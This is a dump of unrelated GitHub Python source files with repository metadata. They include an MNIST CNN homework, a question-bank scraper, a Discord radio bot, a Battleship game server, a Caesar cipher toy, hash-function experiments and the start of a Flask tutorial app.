\\n'.format(dropout_rate)\n\t\ttitle += ' - batch_size= {} epochs= {} '.format(batch_size, epochs)\n\t\tprint(title)\n\n\n# %%\n\n\n# ### Question 1\n# **The data set**\n# \n# Plot a three examples from the data set.\n# * What type of data are in the data set?\n# \n# \n# The MNIST dataset contains grayscale images of handwritten numbers from zero to nine. \n# \t\tWhen they are imported in the fetch_openml an array with shape images vs 784 is retrieved. \n# \t\t784 is the flattened form of the image and the input values are pixel values ranging from 0 – 255. \n# \t\tBecause it has only one color channel, it means that the dataset is grayscale.\n# \n# \n# * What does the line ```X = X.reshape(X.shape[0], 28, 28, 1)``` do?\n# \n# This operation reshapre the flatten array into a new array with (columns, height, witdh, colour_channel)\n# \n# \n# Look at how the encoding of the targets (i.e. ```y```) is changed. E.g. the lines\n# ```\n# y_oh = np.zeros((num_tot, num_classes))\n# y_oh[range(num_tot), y] = 1\n# ```\n# Print out a few rows of ```y``` next to ```y_oh```.\n# * What is the relationship between ```y``` and ```y_oh```?\n# \n# \n# \"y\" means the supervised information that tells you the specific input must belong to a output\n# \"y\" ranges from 0 to 9 while y_oh is the one_hot encoding.\n# \n# \n# \n# * What is the type of encoding in ```y_oh``` called and why is it used?\n# \n# \n# y_oh is the one_hot encoding and its used for classification problems.\n# Since deeplearning are based on math and numbers, \n# the output of a classification must be a numerical value and not a string. \n# Therefore a multiclassification problem should have a one hot encoded \n# so that the ouput of the neural network can be numerically compared with the prediction.\n# \n# Ex: A NN with three classes (\"dog,cat,human\") should have 3 columns one for dog, one for cat and another for humam\n# a dog picture would have its one hot encoding (1 , 0 , 0) because it belongs to one class \n# a cat picture would have its one hot encoding (0 , 0 , 1) and a human would have (0, 0, 1)\n# \n# \n# \n# * Plot three data examples in the same figure and set the correct label as title. \n# * It should be possible to see what the data represent.\n\n# %%\n# ### Question 2\n# **The model**\n# \n# Below is some code for bulding and training a model with Keras.\n# * What type of network is implemented below? I.e. a normal MLP, RNN, CNN, Logistic Regression...?\n# The type of the network used is CNN (Convolutional Neural Networks) \n# * What does ```Dropout()``` do?\n# \"Dropout randomly disconnects neurons connections to make the CNN more genralist, \n# and thus reducing the probability of overfitting\" \n# * Which type of activation function is used for the hidden layers?\n# Rectified Linear Unit (ReLU) \n# * Which type of activation function is used for the output layer?\n# Softmax \n# * Why are two different activation functions used?\n# ReLU is used to solve the vanishing gradient problem \n#\t\t\t\t\t\t\t and it reduced the influence of negative values after a convolution,\n# while softmax is used to transform the output layer probabilities\n# into the most probable output \n# * What optimizer is used in the model below?\n# Although the name of the function is SGD (Stochastic Gradient Descent)\n# \t\t\t\t\t\tthe model useds batch gradient descent \n# * How often are the weights updated (i.e. after how many data examples)?\n# The epoch and batches will define when the weights are updated. \n# \t\t\t\t\t\t\tSince this specific model is using mini-batch gradient descent,\n# \t\t\t\t\t\t\tthe model will update their weights after completing a batch.\n# \t\t\t\t\t\t\tA dataset with 800 images with a batch size of 32 \n# \t\t\t\t\t\t\twill have 25 weights updates per epoch. \n# * What loss function is used?\n# \n# Categorical crossentropy \n# \n# \n# * How many parameters (i.e. weights and biases, NOT hyper-parameters) does the model have?\n# \n# <*answer here*> \n# \n#from IPython import embed; embed()\n\n# %%\n# ### Question 3\n# \n# * **Vizualize the training**. Use the model above to observe the training process. Train it for 150 epochs and then plot both \"loss\" and \"val_loss\" (i.e. loss on the valiadtion set, here the terms \"validation set\" and \"test set\" are used interchangably, but this is not always true). What is the optimal number of epochs for minimizing the test set loss? \n# * Remember to first reset the weights (```model.reset_states()```), otherwise the training just continues from where it was stopped earlier.\n# \n# * **Optimizer**. Select three different optimizers and for each find the close-to-optimal hyper-parameter(s). In your answer, include a) your three choises, b) best hyper-parameters for each of the three optimizers and, c) the code that produced the results.\n# * NOTEa that how long the training takes varies with optimizer. I.e., make sure that the model is trained for long enough to reach optimal performance.\n# \n# * **Dropout**. Use the best optimizer and do hyper-parameter seach and find the best value for ```Dropout()```.\n# \n# * **Best model**. Combine the what you learned from the above three questions to build the best model. How much better is it than the worst and average models?\n# \n# <*answer here*> \n# \n# \n# * **Results on the test set**. When doing this search for good model configuration/hyper-parameter values, the data set was split into *two* parts: a training set and a test set (the term \"validation\" was used interchangably wiht \"test\"). For your final model, is the performance (i.e. accuracy) on the test set representative for the performance one would expect on a previously unseen data set (drawn from the same distribution)? Why?\n# \n# <*answer here*> \n# \n# \n# ## Further information\n# For ideas about hyper-parameter tuning, take a look at the strategies described in the sklearn documentation under [model selection](https://scikit-learn.org/stable/model_selection.html), or in this [blog post](https://blog.tensorflow.org/2020/01/hyperparameter-tuning-with-keras-tuner.html) from TensorFlow. For a more thorough discussion about optimizers see [this video](https://www.youtube.com/watch?v=DiNzQP7kK-s) discussing the article [Descending through a Crowded Valley -- Benchmarking Deep Learning Optimizers](https://arxiv.org/abs/2007.01547).\n# \n# \n# **Good luck!**\n\n\n# %%\n","repo_name":"ricardoluhms/cnn_mnist_gen_alg","sub_path":"tutorial_mmai_assignment_3_v2.py","file_name":"tutorial_mmai_assignment_3_v2.py","file_ext":"py","file_size_in_byte":26398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30911974194","text":"# -*- coding: utf-8 -*-\n\nimport requests\n\nfrom achihuo_mini.async_loop import AsyncLoop\nfrom achihuo_mini.item import Item\nfrom vko_spider.mini_spider.vko_mini_spider import VkoMiniSpider\n\nHEADERS = {\n'Accept-Encoding': 'gzip, deflate',\n'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4',\n'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36',\n'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n'Accept': '*/*',\n'X-Requested-With': 'XMLHttpRequest',\n'Connection': 'keep-alive',\n'Referer': 'http://tiku.vko.cn/',\n}\n\nURL = 'http://tiku.vko.cn/resolve/{}'\n\nclass VkoMiniSpider(AsyncLoop):\n\n NAME = 'vko_mini_spider'\n\n def __init__(self):\n super(VkoMiniSpider, self).__init__(concurrency=30, cache_backend='ssdb')\n\n\ndef make_item(qid):\n url = URL.format(qid)\n item = Item(dict(\n method = 'GET',\n url = url,\n max_retry = 2,\n timeout = 60,\n ))\n return item\n\n\ndef request(qid):\n url = URL.format(qid)\n resp = requests.get(url, headers=HEADERS)\n return resp.text\n\n\ndef find_max_qid():\n min_qid = 1\n max_qid = 1000000\n\n def binary_search(mnq, mxq):\n if mxq - mnq <= 1:\n return mxq\n\n mid = (mxq + mnq) // 2\n print(mid)\n html = request(mid)\n if not html.startswith('null('):\n return binary_search(mnq, mid)\n else:\n return binary_search(mid, mxq)\n\n return binary_search(min_qid, max_qid)\n\n\ndef main():\n loop = VkoMiniSpider()\n\n max_qid = find_max_qid()\n for qid in range(1, max_qid):\n item = make_item(qid)\n loop.add_task('get_question', item, task_name=item.url, repeat=False)\n\n\ndef test():\n max_qid = find_max_qid()\n print('max_qid', max_qid)\n\n\nif __name__ == '__main__':\n main()\n # test()\n","repo_name":"waryhao/Afanti_tiku","sub_path":"vko_spider/mini_spider/vko_add_next_qids.py","file_name":"vko_add_next_qids.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13404711758","text":"import json\nimport array\nimport struct\nimport audioop\nimport discord\nimport asyncio\nimport requests\nimport threading\nfrom io import BufferedIOBase, BytesIO\nfrom queue import Queue, Empty as EmptyQueue\nfrom typing import *\nfrom subprocess import Popen, PIPE\nfrom functools import partial\nfrom discord.ext import commands, tasks\nfrom discord.ext.commands import CommandError\n\n\nclass OggVorbisStream:\n\n def __init__(self, file_handle: BufferedIOBase) -> None:\n self.page_iter = self.page_generator(file_handle)\n\n def page_generator(self, file_handle: BufferedIOBase):\n while file_handle.read(4) == b\"OggS\":\n yield OggPage(file_handle)\n\n def get_next_page(self):\n try:\n return next(self.page_iter)\n except StopIteration:\n return None\n\n\nclass OggPage:\n\n ogg_page_struct = struct.Struct(\"=BBQIIIB\")\n\n def __init__(self, file_handle: BufferedIOBase) -> None:\n self.version, self.mode, self.granule, self.serial, self.page_no, self.crc, self.len_seg_table = self.ogg_page_struct.unpack(\n file_handle.read(self.ogg_page_struct.size))\n\n self.seg_table = array.array('B', struct.unpack(\n 'B'*self.len_seg_table, file_handle.read(self.len_seg_table)))\n\n self.data = file_handle.read(sum(self.seg_table))\n\n def convert_to_bytes(self):\n return b\"OggS\" + self.ogg_page_struct.pack(self.version, self.mode, self.granule, self.serial, self.page_no, self.crc, self.len_seg_table) + self.seg_table.tobytes() + self.data\n\n\nclass RadioPlayer(discord.AudioSource):\n \"\"\"The radio player class\"\"\"\n\n def __init__(self, radio_code_name: str, radio_name: str, radio_url: str, radio_format: str, discord_ctx: commands.Context):\n self.radio_code_name = radio_code_name\n self.radio_name = radio_name\n self.radio_url = radio_url\n self.radio_format = radio_format\n\n self.discord_ctx = discord_ctx\n self.event_loop: asyncio.AbstractEventLoop = discord_ctx.bot.loop\n self.last_now_playing_message: discord.Message = None\n\n self._volume = 0.07\n self.audio_queue = Queue()\n\n if self.radio_format == \"direct\":\n ffmpeg_command_line = \"ffmpeg -i {url} -f s16le -ac 2 -ar 48000 pipe:1\".format(\n url=radio_url).split()\n\n self.ffmpeg_process = Popen(\n ffmpeg_command_line, stdout=PIPE, creationflags=0x08000000)\n else:\n ffmpeg_command_line = \"ffmpeg -i pipe:0 -f s16le -ac 2 -ar 48000 pipe:1\".split()\n\n self.ffmpeg_process = Popen(\n ffmpeg_command_line, stdin=PIPE, stdout=PIPE, creationflags=0x08000000)\n # the creationflags part is only if this is running in Windows\n\n # Threading!\n stdin_thread = threading.Thread(\n target=self.stdin_blaster, daemon=True)\n stdin_thread.start()\n stdout_thread = threading.Thread(target=self.drain_stdout, daemon=True)\n stdout_thread.start()\n\n self.setup_auto_disconnect()\n\n def drain_stdout(self):\n stdout: IO = self.ffmpeg_process.stdout\n while True:\n data = stdout.read(3840)\n if not data:\n break\n try:\n self.audio_queue.put(data)\n except AttributeError:\n return\n\n def stdin_blaster(self):\n stdin: IO = self.ffmpeg_process.stdin\n if self.radio_format != \"vorbis\":\n headers = {\"Icy-MetaData\": \"1\"}\n with requests.get(self.radio_url, headers=headers, stream=True) as response:\n response.raise_for_status()\n\n metaint: int = int(response.headers.get(\"icy-metaint\"))\n try:\n data = response.raw.read(metaint)\n while True:\n stdin.write(data)\n\n metadata_block_size = int.from_bytes(\n response.raw.read(1), byteorder=\"little\")\n if metadata_block_size != 0:\n metadata_bytes: bytes = response.raw.read(\n metadata_block_size * 16)\n self.event_loop.create_task(\n self.tell_text_channel_currently_playing(metadata_bytes.decode(\"utf-8\")))\n\n data = response.raw.read(metaint)\n except OSError:\n # ffmpeg closed\n return\n else:\n with requests.get(self.radio_url, stream=True) as response:\n response.raise_for_status()\n\n ogg_stream = OggVorbisStream(response.raw)\n\n page = ogg_stream.get_next_page()\n\n while page:\n if page.data[:7] == b\"\\x03vorbis\":\n metadata = dict()\n\n data_io = BytesIO(page.data)\n\n data_io.read(7)\n\n data_io.read(int.from_bytes(\n data_io.read(4), \"little\", signed=False))\n\n for _ in range(int.from_bytes(data_io.read(4), \"little\", signed=False)):\n separated_metadata = data_io.read(int.from_bytes(\n data_io.read(4), \"little\", signed=False)).decode().split('=')\n metadata[separated_metadata[0].lower()] = \"=\".join(\n separated_metadata[1:])\n\n del data_io\n\n self.event_loop.create_task(self.tell_np_vorbis(metadata))\n\n del metadata\n\n try:\n stdin.write(page.convert_to_bytes())\n except OSError:\n return\n\n page = ogg_stream.get_next_page()\n\n async def tell_np_vorbis(self, metadata: Dict):\n if self.last_now_playing_message:\n await self.last_now_playing_message.delete()\n self.last_now_playing_message = await self.discord_ctx.send(f\"Now playing {metadata['artist']} - {metadata['title']} from {self.radio_name}\")\n\n @property\n def volume(self):\n return self._volume\n\n @volume.setter\n def volume(self, value: float):\n self._volume = min(1.0, value)\n\n def get_current_song_title(self, metadata_string: str):\n \"\"\"Temp func until able to tell what is playing in the text channel\"\"\"\n metadatas = metadata_string.split(\";\")\n for metadata_line in metadatas:\n metadata_line_pair = metadata_line.split(\"=\")\n if metadata_line_pair[0] == \"StreamTitle\":\n # print(\"Currently playing {song_name} in {server_name}\".format(\n # song_name=metadata_line_pair[1].strip(\"'\"), server_name=self.discord_ctx.guild))\n # break\n return metadata_line_pair[1].strip(\"'\")\n\n async def tell_text_channel_currently_playing(self, metadata: str):\n song_name = await self.event_loop.run_in_executor(None, partial(self.get_current_song_title, metadata))\n if self.last_now_playing_message:\n await self.last_now_playing_message.delete()\n self.last_now_playing_message = await self.discord_ctx.send(f\"Now playing {song_name} from {self.radio_name}\")\n\n def setup_auto_disconnect(self):\n @tasks.loop(minutes=5, loop=self.event_loop)\n async def auto_disconnect():\n voice_client: discord.VoiceClient = self.discord_ctx.voice_client\n members: List[discord.Member] = voice_client.channel.members\n if len([member for member in members if not member.bot]) == 0:\n await self.discord_ctx.send(\"Disconnecting due to there is nobody in the VC\")\n voice_client.stop()\n await voice_client.disconnect()\n\n auto_disconnect.start()\n self.auto_disconnect: tasks.Loop = auto_disconnect\n\n def read(self):\n try:\n return audioop.mul(self.audio_queue.get(timeout=15), 2, self._volume)\n except EmptyQueue:\n return b''\n\n def cleanup(self):\n self.auto_disconnect.cancel()\n self.ffmpeg_process.terminate()\n\n del self.auto_disconnect\n del self.audio_queue\n del self.ffmpeg_process\n del self.last_now_playing_message\n\n del self.radio_code_name\n del self.radio_format\n del self.radio_name\n del self.radio_url\n\n\nclass Radio(commands.Cog):\n \"\"\"Radio Cog Class\"\"\"\n\n def __init__(self, bot: commands.Bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_ready(self):\n print(\"Radio Cog is loaded.\")\n\n @commands.command()\n async def radio(self, ctx: commands.Context, radio_code_name: str):\n \"\"\"Command to play a radio\"\"\"\n\n radio_data = await self.bot.loop.run_in_executor(None, partial(Radio.get_radio, radio_code_name))\n\n # There are always 3 element in radio_data, [0] is the url\n # [1] is the format and [2] is the radio name\n\n if not radio_data:\n return await ctx.send(f\"There is no such thing as {radio_code_name}\")\n\n player = await self.bot.loop.run_in_executor(None, partial(RadioPlayer, radio_code_name, radio_data[2], radio_data[0], radio_data[1], ctx))\n\n ctx.voice_client.play(player)\n\n @commands.command()\n async def stop_radio(self, ctx: commands.Context):\n voice_client: discord.VoiceClient = ctx.voice_client\n if voice_client.is_playing():\n voice_client.stop()\n await ctx.send(\"Stopped radio!\")\n\n @commands.command()\n async def radio_volume(self, ctx: commands.Context, volume: int):\n try:\n voice_client: discord.VoiceClient = ctx.voice_client\n voice_client.source.volume = float(volume / 100)\n except AttributeError as e:\n await ctx.send(\"Failed to change volume\")\n raise e\n await ctx.send(f\"Changed volume to {volume}\")\n\n @radio.before_invoke\n async def radio_before_invoke(self, ctx: commands.Context):\n if ctx.voice_client is None:\n if ctx.author.voice:\n await ctx.author.voice.channel.connect()\n print(\n f\"Connected to the {ctx.author}'s voice channel on {ctx.guild} server!\")\n else:\n await ctx.send(\"Please join a VC first!\")\n raise CommandError(\n f\"{ctx.author} tried to summon bot while being outside of VC.\")\n\n # This part is to check if it need to stop the current player\n # or not by checking either if it the user is asking to listen to\n # currently playing radio station or if it is not radio player at all\n elif ctx.voice_client.is_playing():\n if ctx.voice_client.source is RadioPlayer:\n radio_player: RadioPlayer = ctx.voice_client.source\n # check if currently playing station is the same\n # as the one being asked to tuned into\n # ctx.args[2] is the radio_name argument of the radio command\n if radio_player.radio_code_name == ctx.args[2]:\n await ctx.send(f\"Already tuned to {ctx.args[2]}!\")\n raise CommandError(\n f\"User {ctx.author} tried to tune into the currently tuned radio station.\")\n # if we reached here, it means that the source is either some type of other source/player\n # or its a different station, either way, we just stop them\n ctx.voice_client.stop()\n\n @commands.command(aliases=[\"radios\"])\n async def list_all_radio(self, ctx: commands.Context):\n line_format = \"{radio_name} -> {radio_code}\\n\"\n formatted_str = \"\"\n\n radios: Dict = await self.bot.loop.run_in_executor(None, Radio.get_radios)\n\n radio_code: str\n radio_data: List[str]\n for radio_code, radio_data in radios.items():\n formatted_str += line_format.format(\n radio_name=radio_data[2], radio_code=radio_code)\n\n await ctx.send(\n \"```\\n\" +\n formatted_str +\n \"```\"\n )\n\n @staticmethod\n def get_radio(radio_name: str) -> Union[Dict, bool]:\n with open(\"data/radios.json\", 'r') as json_file:\n radios: Dict = json.load(json_file)\n\n try:\n return radios[radio_name]\n except:\n return False\n\n @staticmethod\n def get_radios():\n with open(\"data/radios.json\", 'r') as json_file:\n radios: Dict = json.load(json_file)\n\n return radios\n\n\ndef setup(bot: commands.Bot):\n bot.add_cog(Radio(bot))\n","repo_name":"Naz1337/discord-naz-bot","sub_path":"cogs/radio.py","file_name":"radio.py","file_ext":"py","file_size_in_byte":12703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32830439153","text":"from enum import Enum\nfrom Core import Node\n\n\nclass TypeOfComp(Enum):\n Res = \"Resistance\"\n Node = \"Node\"\n IndVolt = \"Independent voltage\"\n IndCur = \"Independent Current\"\n\nclass Component():\n def __init__(self, type: TypeOfComp):\n self.__voltage: int = 0\n self.__charge: int = 0\n self.__type = type\n\n @property\n def Type(self):\n return self.__type\n\ndef checkExistanceOfNode(nodeNumber, nodes: dict):\n if nodeNumber in nodes:\n node = nodes[nodeNumber]\n else:\n node = Node.Node(nodeNumber)\n nodes[nodeNumber] = node\n return node\n","repo_name":"daniyalmaroufi/circuit-solver","sub_path":"Core/Component.py","file_name":"Component.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"12274694047","text":"import glob\nimport imp\nimport os.path\n\n\nclass Plugin(object):\n \"\"\"Base class for all plugins.\"\"\"\n\n capability = []\n\n @classmethod\n def is_capable(cls, requested_capability):\n \"\"\"Returns true if the requested capability is supported by this plugin\n \"\"\"\n for c in requested_capability:\n if c not in cls.capability:\n return False\n return True\n\n\ndef get_plugin(cls, requested_capability=None):\n if not requested_capability:\n requested_capability = []\n result = []\n for handler in cls.__subclasses__():\n if handler.is_capable(requested_capability):\n result.append(handler)\n return result\n\n\ndef _import_module(filename):\n (path, name) = os.path.split(filename)\n (name, ext) = os.path.splitext(name)\n\n (file, filename, data) = imp.find_module(name, [path])\n try:\n return imp.load_module(name, file, filename, data)\n finally:\n if file:\n file.close()\n\n_plugin_loaded = False\n\n\ndef load_plugins(config):\n global _plugin_loaded\n if _plugin_loaded:\n return\n _plugin_loaded = True\n\n if not config.has_option('Plugin', 'plugin_directory'):\n return\n directory = config.get('Plugin', 'plugin_directory')\n for file in glob.glob(os.path.join(directory, '*.py')):\n _import_module(file)\n","repo_name":"silveregg/txboto","sub_path":"txboto/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"34962323512","text":"import string\nimport random\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef process_word(w):\n w = w.rstrip()\n w2 = [char for char in w if char in string.ascii_letters]\n return \"\".join(w2).upper()\n\nraw_words = random.sample(open(\"/usr/share/dict/words\", \"rt\").readlines(), 100)\nwords = [pw for pw in [process_word(w) for w in raw_words] if pw]\n\n\ndef create_labelname(idx):\n w1 = random.choice(words)\n w2 = \"\" # random.choice(words)\n name = (w1+w2)[:25].upper()\n return name + \".\" + str(idx) + random.choice(string.ascii_uppercase+string.digits)\n\n\nnumber_of_labels = 5000\nlabels = [create_labelname(idx) for idx in range(number_of_labels)]\n\n\ndef hashfunc1(label):\n length = len(label) # assume we know the length of the symbol already\n c0 = ord(label[0])\n c1 = ord(label[1])\n clast = ord(label[length-1])\n return ((c0 + clast + c1*4) ^ (length*4)) & 127\n\n\ndef hashfunc2(label):\n # just sum up all the characters of the label....\n # could be faster / better if you have to scan it anyway to determine the length\n # also seems to work better for shorter labels\n length=len(label)\n return (sum([ord(c) for c in label]) ^ (length*2)) & 127\n\ndef hashfunc3(label):\n # this is the string.hash function in the prog8 string library\n hashcode = 179\n carry = 0\n for c in label:\n newcarry = 1 if hashcode&128 else 0\n hashcode = (hashcode << 1) & 255 | carry\n carry = newcarry\n hashcode ^= ord(c)\n return hashcode\n\n\nif __name__==\"__main__\":\n hash_buckets = [0] * 128\n for lbl in labels:\n hashvalue = hashfunc1(lbl)\n hash_buckets[hashvalue] += 1\n plt.subplots(figsize = (20,5))\n p=sns.barplot(x=list(range(len(hash_buckets))), y=hash_buckets)\n plt.show()\n\n hash_buckets = [0] * 128\n for lbl in labels:\n hashvalue = hashfunc2(lbl)\n hash_buckets[hashvalue] += 1\n plt.subplots(figsize = (20,5))\n sns.barplot(x=list(range(len(hash_buckets))), y=hash_buckets)\n plt.show()\n\n hash_buckets = [0] * 256\n for lbl in labels:\n hashvalue = hashfunc3(lbl)\n hash_buckets[hashvalue] += 1\n plt.subplots(figsize = (20,5))\n sns.barplot(x=list(range(len(hash_buckets))), y=hash_buckets)\n plt.show()\n","repo_name":"irmen/cx16assem","sub_path":"experiment/hashed_syms/hashfunctionstest.py","file_name":"hashfunctionstest.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"29418139191","text":"import os\r\n\r\n\r\nos.system('cls')\r\n\r\n\r\n\r\nprint('''\r\n ##################################################\r\n # #\r\n # caesar_encode by : Welson #\r\n # #\r\n ##################################################\r\n\r\n''')\r\n\r\n\r\ndef encode():\r\n print('Starting encode')\r\n print('输入你想要输入的明文' )\r\n txt = input(\">>\")\r\n print('请输入移动位数')\r\n offset = int(input(\">>\"))\r\n\r\n\r\n #考虑用户用的是字符串\r\n result = \"\"\r\n\r\n for t in txt:\r\n n = ord(t)\r\n n = n + offset\r\n t2 = chr(n)\r\n result = result + t2\r\n \r\n print(f'加密后的字符是 {result}')\r\n\r\ndef decode():\r\n print('Starting decode')\r\n print('输入你要解密的密文' )\r\n cipher = input('>>')\r\n print(\"请输入秘钥.\")\r\n key = int(input('>'))\r\n \r\n plain = \"\"\r\n\r\n \r\n for c in cipher:\r\n n = ord(c)\r\n n = n - key\r\n p = chr(n)\r\n plain += p\r\n\r\n print(f'解密后的明文是:{plain}')\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\nrunning = True\r\nwhile running:\r\n print('1.Encode 2.decode 3.Exit')\r\n sel = input(\">>\")\r\n if sel == '1':\r\n encode()\r\n elif sel == '2':\r\n decode()\r\n elif sel == '3':\r\n print(\"Thank you for use this app!\")\r\n running = False\r\n else:\r\n print('请做出正确的选择。 ')\r\n \r\n \r\n","repo_name":"Welsonpeaches/caeser_encode","sub_path":"caesar_encode_decode.py","file_name":"caesar_encode_decode.py","file_ext":"py","file_size_in_byte":1466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13117134710","text":"import argparse\nfrom distutils.dir_util import copy_tree\n\nparser = argparse.ArgumentParser(\n description='Copy files form one folder to another',\n prog='copy_script'\n)\ndef main():\n parser.add_argument(\n '-s', \n '--source-dir', \n default=\".\",\n help=\"Source directory from where files should be copied\"\n )\n parser.add_argument(\n '-d', \n '--destination-dir', \n default=\".\", \n help=\"Source directory from where files should be copied\"\n )\n args = parser.parse_args()\n if args.source_dir == \".\" and args.destination_dir == \".\" :\n parser.print_help()\n else:\n copy_tree(args.source_dir,args.destination_dir)\n print(f\"Copied files from {args.source_dir} to {args.destination_dir}\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"HubGab-Git/copy_script","sub_path":"python/copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70454123610","text":"#server\r\n\r\nimport sys\r\nimport player\r\nimport threading\r\nimport traceback\r\nfrom socket import *\r\nimport gameserver as gs\r\nfrom random import randint\r\nimport securedsocket as ss\r\nimport configurationmanager as cm\r\n\r\nPORT = randint(0,5000) \t\t# starts from a random port\r\n\r\n\r\ndef get_new_socket(player_socket):\r\n\tglobal PORT\r\n\tPORT += 1\r\n\tport_min = cm.tcp_server_min_port\r\n\tport_max = cm.tcp_server_max_port\r\n\ttcp_port = (port_min + PORT) % port_max\r\n\r\n\ttemp_socket = socket(AF_INET, SOCK_STREAM)\r\n\ttemp_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n\r\n\ttry:\r\n\t\tplayer_socket.send(str(tcp_port))\r\n\t\ttemp_socket.bind(('', tcp_port))\r\n\t\ttemp_socket.listen(15)\r\n\t\tnew_player_socket,address = temp_socket.accept()\r\n\texcept socket.timeout:\r\n\t\tprint(\"Socket timeout. Port may have been used recently. wait and try again!\")\r\n\t\treturn None,tcp_port\r\n\texcept:\r\n\t\tprint(\"Socket error. Try again\")\r\n\t\treturn None,tcp_port\r\n\tfinally:\r\n\t\ttemp_socket.close()\r\n\treturn ss.RSASocket(new_player_socket),address\r\n\r\n\r\n# creates a server side player_object\r\ndef prepare_player(player_socket,game_server):\r\n\tname = player_socket.recv(1024)\r\n\tnew_player_socket = None\r\n\twhile not new_player_socket:\r\n\t\tnew_player_socket,new_address = get_new_socket(player_socket)\r\n\r\n\tudp_sending = new_player_socket.recv(1024)\r\n\tnew_player_socket.send(\"ACK\")\r\n\tump_split = udp_sending[1:-1].split(\",\")\r\n\tudp_address_sending = ump_split[0][1:-1],int(ump_split[1])\r\n\r\n\tudp_receiving = new_player_socket.recv(1024)\r\n\tnew_player_socket.send(\"ACK\")\r\n\tump_split = udp_receiving[1:-1].split(\",\")\r\n\tudp_address_receiving = ump_split[0][1:-1],int(ump_split[1])\r\n\r\n\tp = player.Player(name,new_player_socket,new_address,udp_address_sending,udp_address_receiving)\r\n\r\n\tgame_server.add_player(p)\r\n\tplayer_socket.close()\r\n\r\n# to use the UDP socket\r\ndef ping_response():\r\n\tping_socket = socket(AF_INET, SOCK_DGRAM)\r\n\tping_socket.bind(('', cm.udp_ping_port)) # for pinging\r\n\twhile not server_quitting:\r\n\t\tmsg,address = ping_socket.recvfrom(1024)\r\n\t\tif (msg.decode() == \"OPEN\"):\r\n\t\t\tping_socket.sendto(msg,address)\r\n\tping_socket.close()\r\n\r\n\r\n# \r\ndef main():\r\n\tglobal server_quitting \t\t\t\t\t\t\t\t# for the future\r\n\tthreads = []\r\n\tgame_server = None\r\n\r\n\ttry:\r\n\t\tserver_quitting = False\r\n\r\n\t\t# this is to verify if the server is up (UPD)\r\n\t\tt = threading.Thread(target=ping_response)\r\n\t\tt.start()\r\n\t\tthreads.append(t)\r\n\r\n\t\tmaximum_connected = cm.maximum_connected\r\n\t\tserver_socket = socket(AF_INET,SOCK_STREAM)\r\n\t\tserver_socket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n\t\tserver_socket.bind(('',cm.tcp_server_port)) \t\t\t\t# game socket\r\n\t\tserver_socket.listen(maximum_connected)\r\n\r\n\t\tchat_socket = socket(AF_INET, SOCK_DGRAM)\r\n\t\tchat_socket.bind(('', cm.udp_server_port))\t\t\t\t\t# chat room socket\r\n\t\tchat_socket = ss.RSASocket(chat_socket)\r\n\r\n\t\t# create the game server\r\n\t\tgame_server = gs.TheGameServer(maximum_connected,chat_socket)\r\n\t\t\r\n\t\t# entry door for incoming players\r\n\t\twhile not server_quitting:\r\n\t\t\tplayersocket, addr = server_socket.accept()\r\n\t\t\tif (not server_quitting):\r\n\t\t\t\tss_socket = ss.RSASocket(playersocket)\r\n\t\t\t\tt = threading.Thread(target=prepare_player,args=(ss_socket,game_server))\r\n\t\t\t\tt.start()\r\n\t\t\t\tthreads.append(t)\r\n\t\t\t\tprint(\"New player registered and waiting for more\")\r\n\t\t\telse: \r\n\t\t\t\t# no more connections allowed\r\n\t\t\t\tplayersocket.send(\"no more connections allowed\".encode())\r\n\t\t\t\tplayersocket.close()\r\n\texcept KeyboardInterrupt:\r\n\t\tif (game_server):\r\n\t\t\tgame_server.quit()\r\n\t\tgame_down = True\r\n\t\tprint(\"Keyboard Interrupt. Time to say goodbye!!!\")\r\n\texcept Exception as e:\r\n\t\tprint(e)\r\n\t\ttraceback.print_exc(file=sys.stdout)\r\n\tfinally:\r\n\t\tfor t in threads:\r\n\t\t\tt.join()\r\n\t\tif (game_server):\r\n\t\t\tgame_server.quit()\r\n\t\tprint(\"Waiting for all active games to finish\")\r\n\tprint(\"The end\")\r\n\tsys.exit(0) \r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n","repo_name":"gautam-balamurali/Multiplayer-Battleships","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3808,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"13652689583","text":"# from flask import Flask\n# from flask import request,render_template\nfrom flask_sqlalchemy import SQLAlchemy\nimport sqlite3\nfrom contextlib import closing\nfrom flask import Flask, request, session, g, redirect, url_for, \\\n abort, render_template, flash\nimport parser\n\n# FOllowed\n#https://github.com/mitsuhiko/flask/blob/master/examples/flaskr/flaskr.py\nDATABASE = 'Data/flask.db'\nDEBUG = True\nSECRET_KEY = 'development key'\nUSERNAME = 'admin'\nPASSWORD = 'default'\n\napp = Flask(__name__)\napp.config.from_object(__name__)\napp.config.from_envvar('FLASKR_SETTINGS', silent=True)\n\n\n\"\"\"\nCode to 